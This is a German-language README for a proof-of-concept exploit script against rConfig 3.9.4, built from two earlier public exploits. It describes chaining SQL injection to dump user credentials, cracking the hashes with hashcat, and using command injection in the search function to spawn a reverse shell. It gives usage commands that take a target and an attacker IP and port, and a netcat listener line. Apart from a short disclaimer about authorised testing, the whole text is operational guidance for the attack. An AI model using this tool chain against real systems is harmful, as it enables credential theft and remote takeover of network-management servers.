rConfig 3.9 Kombinierte SQL-Injection und Command-Injection PoC

Übersicht

Dieser PoC zielt auf rConfig Version 3.9.4 ab und demonstriert die Ausnutzung durch eine Kombination von SQL-Injection und Remote-Command-Injection-Sicherheitslücken. Er automatisiert den Vorgang:

1. Datenbanknamen via SQLi extrahieren
2. Benutzeranmeldedaten aus der Datenbank dumpen
3. Versuch, Passwort-Hashes mit hashcat unter Verwendung der Wortliste rockyou und best64.rules zu knacken
4. Optional: Remote-Befehlsausführung (RCE) via Command Injection in der Suchfunktion unter Verwendung der geknackten Admin-Anmeldedaten

Dieses Skript basiert auf und kombiniert zwei originale PoCs:

• 48208.py (SQL Injection) von vikingfr
• 48241.py (Command Injection) von Matthew Aberegg und Michael Burkey

Es wurde modifiziert, um das Knacken und optionales Shell Spawning zu automatisieren.

Voraussetzungen

• Python 3
• requests-Bibliothek (pip install requests)
• hashcat installiert und über die Kommandozeile verfügbar
• Wortliste rockyou.txt (oder Äquivalent) unter /usr/share/wordlists/rockyou.txt
• hashcat-Regeldatei /usr/share/hashcat/rules/best64.rule

Verwendung

Nur Benutzer und Hashes auslesen:

python3 rConfig_rce.py https://target

Benutzer auslesen, Passwörter knacken und RCE versuchen (erfordert Angreifer-IP und Port für Reverse Shell):

python3 rConfig_rce.py https://target attacker_ip attacker_port

Hinweise

• Falls hashcat das Passwort nicht knacken kann, schlägt das Skript die Nutzung von Online-Cracking-Diensten wie CrackStation vor.
• Falls der Passwort-Hash nicht automatisch geknackt werden kann, werden Sie aufgefordert, das Klartext-Passwort manuell für RCE-Versuche einzugeben.
• Das Skript priorisiert die Verwendung des admin-Kontos für die Command-Injection-Phase.
• Stellen Sie sicher, dass ein Listener (z. B. nc -lvnp 80) auf Ihrem Angreifer-Rechner läuft, um die Reverse Shell zu empfangen.

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke vorgesehen. Die unbefugte Nutzung gegen Systeme ohne Erlaubnis ist illegal und unethisch.